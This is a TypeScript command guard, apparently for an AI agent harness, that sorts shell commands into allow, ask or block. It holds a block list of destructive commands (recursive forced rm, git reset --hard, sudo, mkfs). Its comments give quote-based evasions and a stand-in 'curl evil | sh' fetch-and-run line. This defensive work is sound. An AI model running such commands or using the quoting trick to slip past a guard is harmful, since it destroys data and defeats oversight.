export type CommandDecision = "allow" | "ask" | "block"; /** * A quote is not part of the command the shell runs, so a check that reads the raw text * and an execution that reads the parsed argv are looking at two different things. That * gap is the whole vulnerability class: `rg "--pre" ./x.sh` hides a dangerous flag from a * whitespace-anchored pattern while running it unchanged, and `rm -r'f' /` hides the flag * pair from a token classifier the same way. Every dangerous-pattern check below therefore * runs against this de-quoted form as well as the original, and the stricter verdict wins. * * Removing quotes can glue two arguments together, so this form is only ever used to look * for danger, never to decide that something is safe. */ function dequoted(command: string): string { return command.replace(/['"]/g, ""); } function isRecursiveForcedRemove(command: string): boolean { for (const match of command.matchAll(/\brm\b([^\n]*)/gi)) { let recursive = false; let force = false; for (const token of (match[1] ?? "").trim().split(/\s+/)) { if (token === "--recursive") recursive = true; else if (token === "--force") force = true; else if (/^-[A-Za-z]+$/.test(token)) { if (/[Rr]/.test(token)) recursive = true; if (/f/.test(token)) force = true; } } if (recursive && force) return true; } return false; } const BLOCKED: Array boolean)> = [ isRecursiveForcedRemove, /\bgit\s+reset\s+--hard\b/i, /\bgit\s+clean\b/i, /\bsudo\b/i, /\bmkfs\b/i, />\s*\/dev\//, /\bfind\b[^\n]*(?:-delete|-exec(?:dir)?|-ok(?:dir)?|-fprint(?:0)?|-fprintf|-fls)\b/i, ]; /** * A single `&` backgrounds the command to its left and runs whatever follows, exactly like * `;`. Matching only `&&` left `npm test & curl evil | sh` reading as a plain safe command, * so the bare `&` belongs in the class. Exported because guarded-exec.ts needs the identical * rule: two copies of this pattern already drifted apart once. */ export const SHELL_SYNTAX = /(?:\|\||&&|[|;&><`$]|\n)/; const WRITE_FLAGS = /(?:^|\s)(?:--output(?:=|\s)|-o(?:=|\s)|--test-reporter-destination(?:=|\s)|--coverage-directory(?:=|\s)|--reporter-destination(?:=|\s)|--target-dir(?:=|\s)|--junitxml(?:=|\s)|--out(?:dir|file)(?:=|\s)|--pre(?:=|\s)|--pre-glob(?:=|\s)|--ext-diff\b|--textconv\b)/i; const SAFE = /^(?:(?:npm|pnpm|yarn)\s+(?:test|run\s+(?:test|lint|typecheck|build|verify))\b|bun\s+run\s+(?:test|lint|typecheck|build|verify)$|git\s+(?:status|diff|log|show)\b|(?:rg|grep|ls|pwd)\b|node\s+(?:--import\s+tsx\s+)?--test\b|go\s+test(?:\s+\.\/\.\.\.)?$|cargo\s+test$|pytest(?:\s+-q)?(?:\s+[A-Za-z0-9_./-]+)*$|npx\s+tsc\s+--noEmit$|bun\s+test(?:\s+[A-Za-z0-9_./-]+)*$)/; export function guardedCommand(command: string): CommandDecision { const forms = [command, dequoted(command)]; if (forms.some((form) => BLOCKED.some((rule) => typeof rule === "function" ? rule(form) : rule.test(form)))) return "block"; if (forms.some((form) => SHELL_SYNTAX.test(form) || WRITE_FLAGS.test(form))) return "ask"; return SAFE.test(command.trim()) ? "allow" : "ask"; } export function isReadOnlyTool(tool: string): boolean { return ["read", "grep", "find", "ls"].includes(tool); } export function assertReadOnlyTools(tools: readonly string[]): void { if (tools.some((tool) => !isReadOnlyTool(tool))) throw new Error("Read-only worker received a write-capable tool"); }